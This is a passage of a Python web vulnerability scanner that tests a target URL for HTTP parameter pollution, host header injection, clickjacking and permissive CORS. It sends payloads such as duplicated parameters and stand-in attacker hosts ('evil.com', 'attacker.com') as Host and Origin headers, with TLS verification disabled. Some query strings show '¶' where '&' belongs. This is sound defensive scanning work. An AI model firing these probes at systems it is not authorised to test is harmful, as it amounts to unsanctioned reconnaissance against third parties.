"param4=123¶m4=456",
"param5=abc¶m5=def",
]
for payload in payloads: # Iterate over each payload
full_url = f"{url}?{payload}" # Construct the full URL with the payload
try:
body, status = make_request(
full_url
) # Make a request to the full URL and get the response body and status
# Check if the response body contains the second value of the duplicated parameter
if body and any(
value in body for value in ["value2", "exploit", "bar", "456", "def"]
):
success_message(
f"HTTP Parameter Pollution Vulnerable: {url} with payload: {payload}"
) # Print a success message if the URL is vulnerable with the specific payload
return True # Return True indicating the vulnerability
except Exception as e: # Catch any exceptions
error_message(
f"Request failed for {url} with payload: {payload}. Error: {e}"
)
continue # Continue to the next payload if an exception occurs
return False # Return False if the URL is not vulnerable
def test_host_header_injection(url):
"""
Test for Host Header Injection vulnerability.
Args:
url (str): The URL to test.
Returns:
bool: True if the URL is vulnerable, False otherwise.
"""
# List of payloads to test for Host Header Injection
payloads = [
"malicious.com",
"evil.com",
"attacker.com",
"localhost",
"127.0.0.1",
"0.0.0.0",
"example.com",
]
# Iterate over each payload to test for vulnerability
for payload in payloads:
headers = {"Host": payload} # Set the Host header to the current payload
try:
# Make a request to the URL with the modified headers
response = requests.get(url, headers=headers, verify=False, timeout=5)
# Check if the response text contains the malicious host
if payload in response.text:
success_message(
f"Host Header Injection Vulnerable: {url} with payload: {payload}"
)
return True # Return True indicating the vulnerability
except requests.RequestException as e:
# Log the exception for debugging purposes
error_message(
f"Request failed for {url} with payload: {payload}. Exception: {str(e)}"
)
continue # Continue testing with the next payload
return False # Return False if the URL is not vulnerable
def test_clickjacking(url):
"""
Test for Clickjacking vulnerability.
Args:
url (str): The URL to test.
Returns:
bool: True if the URL is vulnerable, False otherwise.
"""
# Headers to check for Clickjacking protection
protection_headers = ["X-Frame-Options", "Content-Security-Policy"]
try:
# Make a request to the URL
response = requests.get(url, verify=False, timeout=5)
# Check if any of the protection headers are present in the response
for header in protection_headers:
if header in response.headers:
# Check for specific directives in Content-Security-Policy
if header == "Content-Security-Policy":
csp = response.headers.get("Content-Security-Policy", "")
if "frame-ancestors" in csp:
return False # Return False if frame-ancestors directive is present
# Check for X-Frame-Options values
if header == "X-Frame-Options":
xfo = response.headers.get("X-Frame-Options", "").lower()
if xfo in ["deny", "sameorigin"]:
return False # Return False if X-Frame-Options is set to DENY or SAMEORIGIN
# If none of the protection headers are present, the URL is vulnerable
success_message(f"Clickjacking Vulnerable: {url}")
return True # Return True indicating the vulnerability
except requests.RequestException as e:
# Log the exception for debugging purposes
log_message(f"Request failed for {url}. Exception: {str(e)}")
return False # Return False if an exception occurs
return False # Return False if the URL is not vulnerable
def test_insecure_cors(url):
"""
Test for Insecure CORS configuration vulnerability.
Args:
url (str): The URL to test.
Returns:
bool: True if the URL is vulnerable, False otherwise.
"""
# List of malicious origins to test
malicious_origins = [
"http://malicious.com",
"http://evil.com",
"http://attacker.com",
]
try:
for origin in malicious_origins:
headers = {
"Origin": origin
} # Set the Origin header to the current malicious origin
response = requests.get(url, headers=headers, verify=False, timeout=5)
# Check if the response headers allow any origin or the malicious origin
if "Access-Control-Allow-Origin" in response.headers:
allowed_origin = response.headers["Access-Control-Allow-Origin"]
if allowed_origin == "*" or allowed_origin == origin:
success_message(
f"Insecure CORS Configuration: {url} allows origin: {origin}"
)
return True # Return True indicating the vulnerability
# If none of the malicious origins are allowed, the URL is not vulnerable
return False
except requests.RequestException as e:
# Log the exception for debugging purposes
log_message(f"Request failed for {url}. Exception: {str(e)}")